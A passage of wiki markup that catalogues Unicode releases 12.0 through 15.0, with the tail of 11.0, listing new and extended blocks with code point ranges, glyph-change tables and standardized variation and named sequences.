* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
* (total 41 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA74, U+1FA83-U+1FA86, U+1FA96-U+1FAA8, U+1FAB0-U+1FAB6, U+1FAC0-U+1FAC2 and U+1FAD0-U+1FAD6)
* Gongche characters for Kunqu Opera (total 7 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6D7-U+2A6DD)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Tagalog
|1700..170C, 170E..1714
|20
|-
|Mongolian
|1834, 1871, 1878
|3
|-
|Sundanese
|1BAB
|1
|-
|Currency Symbols
|20BF
|1
|-
|CJK Radicals Supplement
|2E80..2E99, 2E9B..2EF3
|115
|-
|Kangxi Radicals
|2F00..2FD5
|214
|-
|CJK Unified Ideographs Extension A
|3472, 38C7, 3DB8, 3FE0, 440B, 46E9
|6
|-
|CJK Unified Ideographs
|53FD, 6146, 6711, 671C, 6721, 6725, 6BD2, 7B9A, 87CE, 8956, 93BF, 9B97
|12
|-
|Latin Extended-D
|A764..A765
|2
|-
|Phags-pa
|A86D
|1
|-
|Tangut
|175F6, 17F0D, 17F8A, 17FA5, 180D6, 18139, 18147, 184F1, 18736
|9
|-
|Tangut Components
|18843, 18856, 1888C, 1890A, 18915, 1893B
|6
|-
|Adlam
|1E900..1E94A, 1E950..1E959, 1E95E..1E95F
|71
|-
|Miscellaneous Symbols and Pictographs
|1F3B1
|1
|-
|Supplemental Symbols and Pictographs
|1F995..1F998, 1F99B..1F99E, 1F9B0..1F9B3, 1F9E7
|13
|-
|CJK Unified Ideographs Extension B
|20219, 21249, 21827, 22C3A, 2327B, 23496, 2355E, 2363B, 236ED, 23839, 23FD5, 24261, 24726, 248F2, 2548E, 26657, 26C9E, 26FE1, 27334, 27C0E, 27CEF, 2A38C
|22
|-
|CJK Unified Ideographs Extension C
|2AED5, 2AEF3, 2AF76, 2B09F, 2B1C3, 2B1E5
|6
|-
|CJK Unified Ideographs Extension E
|2B83C, 2B8D9..2B8DA, 2B96F, 2BBD7, 2BD61, 2BE4A, 2BF1D, 2BF9D, 2C0B8, 2C142, 2C176, 2C316, 2C3FB, 2C402, 2C7AC, 2C82C, 2C83A, 2C9A1, 2CC88, 2CD68
|21
|-
|CJK Unified Ideographs Extension F
|2DC09, 2DE4A, 2EB7E, 2EB89
|4
|-
|CJK Compatibility Ideographs Supplement
|2F83B, 2F878, 2F8D6..2F8D7, 2F8DA, 2F8F0, 2F984, 2FA02
|8
|-
! colspan=&quot;2&quot; |Total
!536
|}

== Unicode 14.0 ==

Unicode 14.0 was released on September 14, 2021. It encoded 144,697 characters, adding 838 new characters.

=== New blocks ===

* '''Arabic Extended-B''' (U+0870-U+089F), containing 41 characters, was added.
* '''Vithkuqi''' (U+10570-U+105BF), containing 70 characters, was added.
* '''Latin Extended-F''' (U+10780-U+107BF), containing 57 characters, was added.
* '''Old Uyghur''' (U+10F70-U+10FAF), containing 26 characters, was added.
* '''Unified Canadian Aboriginal Syllabics Extended-A''' (U+11AB0-U+11ABF), containing 16 characters, was added.
* '''Cypro-Minoan''' (U+12F90-U+12FFF), containing 99 characters, was added.
* '''Tangsa''' (U+16A70-U+16ACF), containing 89 characters, was added.
* '''Kana Extended-B''' (U+1AFF0-U+1AFFF), containing 13 characters, was added.
* '''Znamenny Musical Notation''' (U+1CF00-U+1CFFF), containing 185 characters, was added.
* '''Latin Extended-G''' (U+1DF00-U+1DFFF), containing 31 characters, was added.
* '''Toto''' (U+1E290-U+1E2BF), containing 31 characters, was added.
* '''Ethiopic Extended-B''' (U+1E7E0-U+1E7FF), containing 28 characters, was added.

=== Extended blocks ===

* An End of Text punctuation mark (total 1 character) was added to '''Arabic'''. (U+061D)
* Letters for Balti and Quranic orthography (total 12 characters) were added to '''Arabic Extended-A'''. (U+08B5 and U+08C8-U+08D2)
* A sign Nukta and letter Nakaara Pollu (total 2 characters) were added to '''Telugu'''. (U+0C3C and U+0C5D)
* A letter Nakaara Pollu (total 1 character) was added to '''Kannada'''. (U+0CDD)
* A letter Ra, sign Pamudpod and archaic letter Ra (total 3 characters) were added to '''Tagalog'''. (U+170D, U+1715 and U+171F)
* A fourth Free variation selector (total 1 character) was added to '''Mongolian'''. (U+180F)
* Combining diacritical marks for extended IPA (total 14 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1AC1-U+1ACE)
* An archaic ligature Jnya and punctuation marks (total 3 characters) were added to '''Balinese'''. (U+1B4C and U+1B7D-U+1B7E)
* A combining Dot Below Left (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFA)
* A Kyrgyz Som sign (total 1 character) was added to '''Currency Symbols'''. (U+20C0)
* A letter Caudate Chrivi (total 2 characters) were added to '''Glagolitic'''. (U+2C2F and U+2C5F)
* Medieval and phonetic punctuation marks (total 11 characters) were added to '''Supplemental Punctuation'''. (U+2E53-U+2E5D)
* Some ideographs for Macao (total 3 characters) were added to '''CJK Unified Ideographs'''. (U+9FFD-U+9FFF)
* Archaic European letters, modifier letters for Sokuon and Chatino orthography (total 13 characters) were added to '''Latin Extended-D'''. (U+A7C0-U+A7C1, U+A7D0-U+A7D1, U+A7D3, U+A7D5, U+A7D6-U+A7D9 and U+A7F2-U+A7F4)
* A modifier letter Wasla Above and honorifics (total 20 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBC2, U+FD40-U+FD4F, U+FDCF and U+FDFE-U+FDFF)
* Letters for Old Tamil (total 6 characters) were added to '''Brahmi'''. (U+11070-U+11075)
* A vowel sign Vocalic R (total 1 character) was added to '''Khaiti'''. (U+110C2)
* An Abbreviation sign (total 1 character) was added to '''Takri'''. (U+116B9)
* Letters for Tai Ahom (total 7 characters) were added to '''Ahom'''. (U+11740-U+11746) The block was expanded from (U+11700-U+1173F) to (U+11700-U+1174F)
* Kana archaic letters (total 4 characters) were added to '''Kana Extended-A'''. (U+1B11F-U+1B122)
* Accidental symbols for Iranian classical music (total 2 characters) were added to '''Musical Symbols'''. (U+1D1E9-U+1D1EA)
* Playground Slide, Wheel and Ring Buoy emoji (total 3 characters) were added to '''Transportation and Map Symbols'''. (U+1F6DD-U+1F6DF)
* A Heavy Equals Sign emoji (total 1 character) was added to '''Geometric Shapes Extended'''. (U+1F7F0)
* A Troll and Face Holding Back Tears emoji (total 2 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F979 and U+1F9CC)
* (total 31 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA7B-U+1FA7C, U+1FAA9-U+1FAAC, U+1FAB7-U+1FABA, U+1FAC3-U+1FAC5, U+1FAD7-U+1FAD9, U+1FAE0-U+1FAE7 and U+1FAF0-U+1FAF6)
* Some ideographs for Macao (total 2 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6DE-U+2A6DF)
* Disunified ideographs and a G source ideograph for China, Hong Kong and Vietnam (total 4 characters) were added to '''CJK Unified Ideographs Extension C'''. (U+2B735-U+2B738)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Latin Extended-B
|0184..0185
|2
|-
|Arabic
|0674..0678, 06C5, 06C7, 06FE
|8
|-
|Letterlike Symbols
|210B, 2110, 2112, 211B, 212C, 2130..2131, 2133
|8
|-
|Enclosed Alphanumerics
|2460..24FF
|160
|-
|Dingbats
|2776..2793
|30
|-
|CJK Symbols and Punctuation
|3001..3029, 3030..303D, 303F
|56
|-
|CJK Strokes
|31C0..31E3
|36
|-
|Katakana Phonetic Extensions
|31F0..31FF
|16
|-
|Enclosed CJK Letters and Months
|3200..321E, 3220..32FF
|255
|-
|CJK Compatibiity
|3300..33FF
|256
|-
|CJK Unified Ideographs Extension A
|3777, 3B3F
|2
|-
|CJK Unified Ideographs
|5DD5, 652C, 6AC0
|3
|-
|Arabic Presentation Forms-A
|FBD7..FBD8, FBDD, FBE0..FBE1
|5
|-
|Vertical Forms
|FE10..FE19
|10
|-
|CJK Compatibiity Forms
|FE30..FE4F
|32
|-
|Small Form Variants
|FE50..FE52, FE54..FE66, FE68..FE6B
|26
|-
|Halfwidth and Fullwidth Forms
|FF01..FF9F, FFA1..FFBE, FFC2..FFC7, FFCA..FFCF, FFD2..FFD7, FFDA..FFDC, FFE0..FFE6, FFE8..FFEE
|225
|-
|Egyptian Hieroglyphs
|1300A, 13017, 1302D, 13032, 13034..13035, 13037..13038, 1303A..1303E, 1304E..1304F, 13055, 13057, 13068, 1309A, 130D2, 130D5, 130F6, 130FE, 13192, 1325F, 13267, 1326A, 13281, 13297, 1329E, 132B4, 132C1, 132E6, 13304, 1331F, 13378..1337B, 1337D..1337E, 133F3, 133FA..13403, 1340D, 13417, 1342B
|55
|-
|Mathematical Alphanumeric Symbols
|1D49C, 1D49E..1D49F, 1D4A2, 1D4A5..1D4A6, 1D4A9..1D4AC, 1D4AE..1D4B5
|18
|-
|Enclosed Alphanumeric Supplement
|1F100..1F1AD, 1F1E6..1F1FF
|200
|-
|Enclosed Ideographic Supplement
|1F200..1F202, 1F210..1F23B, 1F240..1F248, 1F250..1F251, 1F260..1F265
|64
|-
|Supplemental Symbols and Pictographs
|1F930
|1
|-
|CJK Unified Ideographs Extension B
|22ADC, 230F2, 25B27, 26F28
|4
|-
! colspan=&quot;2&quot; |Total
!1472
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|1D49C FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE00
|
|chancery style # SCRIPT CAPITAL B
|-
|1D49E FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE00
|
|chancery style # SCRIPT CAPITAL E
|-
|2131 FE00
|
|chancery style # SCRIPT CAPITAL F
|-
|1D4A2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE00
|
|chancery style # SCRIPT CAPITAL H
|-
|2110 FE00
|
|chancery style # SCRIPT CAPITAL I
|-
|1D4A5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE00
|
|chancery style # SCRIPT CAPITAL L
|-
|2133 FE00
|
|chancery style # SCRIPT CAPITAL M
|-
|1D4A9 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE00
|
|chancery style # SCRIPT CAPITAL R
|-
|1D4AE FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Z
|-
|1D49C FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE01
|
|roundhand style # SCRIPT CAPITAL B
|-
|1D49E FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE01
|
|roundhand style # SCRIPT CAPITAL E
|-
|2131 FE01
|
|roundhand style # SCRIPT CAPITAL F
|-
|1D4A2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE01
|
|roundhand style # SCRIPT CAPITAL H
|-
|2110 FE01
|
|roundhand style # SCRIPT CAPITAL I
|-
|1D4A5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE01
|
|roundhand style # SCRIPT CAPITAL L
|-
|2133 FE01
|
|roundhand style # SCRIPT CAPITAL M
|-
|1D4A9 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE01
|
|roundhand style # SCRIPT CAPITAL R
|-
|1D4AE FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Z
|}

===Named Sequences===
Here is a table with new named character sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Name
|-
|0915 093C
|DEVANAGARI SEQUENCE FOR LETTER QA
|-
|0916 093C
|DEVANAGARI SEQUENCE FOR LETTER KHHA
|-
|0917 093C
|DEVANAGARI SEQUENCE FOR LETTER GHHA
|-
|091C 093C
|DEVANAGARI SEQUENCE FOR LETTER ZA
|-
|0921 093C
|DEVANAGARI SEQUENCE FOR LETTER DDDHA
|-
|0922 093C
|DEVANAGARI SEQUENCE FOR LETTER RHA
|-
|092B 093C
|DEVANAGARI SEQUENCE FOR LETTER FA
|-
|092F 093C
|DEVANAGARI SEQUENCE FOR LETTER YYA
|-
|09A1 09BC
|BENGALI SEQUENCE FOR LETTER RRA
|-
|09A2 09BC
|BENGALI SEQUENCE FOR LETTER RHA
|-
|09AF 09BC
|BENGALI SEQUENCE FOR LETTER YYA
|-
|0A32 0A3C
|GURMUKHI SEQUENCE FOR LETTER LLA
|-
|0A38 0A3C
|GURMUKHI SEQUENCE FOR LETTER SHA
|-
|0A16 0A3C
|GURMUKHI SEQUENCE FOR LETTER KHHA
|-
|0A17 0A3C
|GURMUKHI SEQUENCE FOR LETTER GHHA
|-
|0A1C 0A3C
|GURMUKHI SEQUENCE FOR LETTER ZA
|-
|0A2B 0A3C
|GURMUKHI SEQUENCE FOR LETTER FA
|-
|0B21 0B3C
|ORIYA SEQUENCE FOR LETTER RRA
|-
|0B22 0B3C
|ORIYA SEQUENCE FOR LETTER RHA
|}

== Unicode 15.0 ==

Unicode 15.0 was released on September 13, 2022. It encoded 149,186 characters, adding 4,489 new characters.

=== New blocks ===

* '''Arabic Extended-C''' (U+10EC0-U+10EFF), containing 3 characters, was added.
* '''Devanagari Extended-A''' (U+11B00-U+11B5F), containing 10 characters, was added.
* '''Kawi''' (U+11F00-U+11F5F), containing 86 characters, was added.
* '''Kaktovik Numerals''' (U+1D2C0-U+1D2DF), containing 20 characters, was added.
* '''Cyrillic Extended-D''' (U+1E030-U+1E08F), containing 63 characters, was added.
* '''Nag Mundari''' (U+1E4D0-U+1E4FF), containing 42 characters, was added.
* '''CJK Unified Ideographs Extension H''' (U+31350-U+323AF), containing 4192 characters, was added.

=== Extended blocks ===

* A Yamakkan (total 1 character) was added to '''Lao'''. (U+0ECE)
* A combining Anusvara Above Right (total 1 character) was added to '''Kannada'''. (U+0CF3)
* Letters Qa, Short I and Vocalic R (total 3 characters) were added to '''Khojki'''. (U+1123F-U+11241)
* An additional hieroglyph to Group V (total 1 character) was added to '''Egyptian Hieroglyphs'''
* Extended format controls (total 29 characters) were added to '''Egyptian Hieroglyph Format Controls'''. (U+13439-U+13455). The block was expanded from (U+13430-U+1343F) to (U+13430-U+1345F)
* Hiragana and Katakana Small Ko (total 2 characters) were added to '''Small Kana Extension'''. (U+1B132 and U+1B155)
* Letters for Malayalam transliteration (total 6 characters) were added to '''Latin Extended-G'''. (U+1DF25-U+1DF2A)
* A Wireless emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6DC)
* A Nine Pointed White Star (total 1 character) was be added to '''Geometric Shapes Extended'''. (U+1F7D9)
* A Lot of Fortune, eclipse symbols and symbols for dwarf planets (total 6 characters) were added to '''Alchemical symbols'''. (U+1F774-U+1F776 and U+1F77B-U+1F77F)
* (total 20 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA75-U+1FA77, U+1FA87-U+1FA88, U+1FAAD-U+1FAAF, U+1FABB-U+1FABF, U+1FACE-U+1FACF, U+1FADA-U+1FADB, U+1FAE8 and U+1FAF7-U+1FAF8)
* A disunified ideograph for Macao (total 1 character) was added to '''CJK Unified Ideographs Extension C'''. (U+2B739)

===Glyph Changes===

Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|IPA Extensions
|025E, 029A
|2
|-
|United Canadian Aboriginal Syllabics
|144B, 14D1, 1506, 15C0..15C3, 15E8..15EE, 1601, 1604..1607, 160A..160D, 1614..162D, 1630..163F, 1646..1647, 165A
|66
|-
|United Canadian Aboriginal Syllabics Extended
|18DB, 18EC, 18F1..18F2, 18F5
|5
|-
|Sundanese
|1BBF
|1
|-
|Optical Character Recognition
|2447
|1
|-
|CJK Unified Ideographs Extension A
|34DC, 3BF6, 3C43, 48B4, 4DBE
|5
|-
|CJK Unified Ideographs
|585F, 5F50, 6BC0, 7BC9, 833E
|5
|-
|Cyrillic Extended-B
|A66E
|1
|-
|Old Turkic
|10C47
|1
|-
|Egyptian Hieroglyphs
|various (new standardized variation sequences)
|94
|-
|Khitan Small Script
|18CCA
|1
|-
|Wancho (font update)
|1E2C0..1E2F9, 1E2FF
|59
|-
|Alchemical Symbols (font update)
|1F700..1F773
|116
|-
|CJK Unified Ideographs Extension B
|20048, 20A1C, 2143F, 21A5F, 21C08, 21FBA, 22ACF, 23392, 238A7, 23D8F, 23F4E, 25D20, 26E30, 27B48, 27C4F, 28633, 28B02, 28E9A, 29760, 2A60F
|20
|-
|CJK Unified Ideographs Extension C
|2B249
|1
|-
|CJK Unified Ideographs Extension E
|2BB37, 2BD7D, 2C151, 2C1E0, 2C2D6, 2C5CA, 2C810, 2CD34
|8
|-
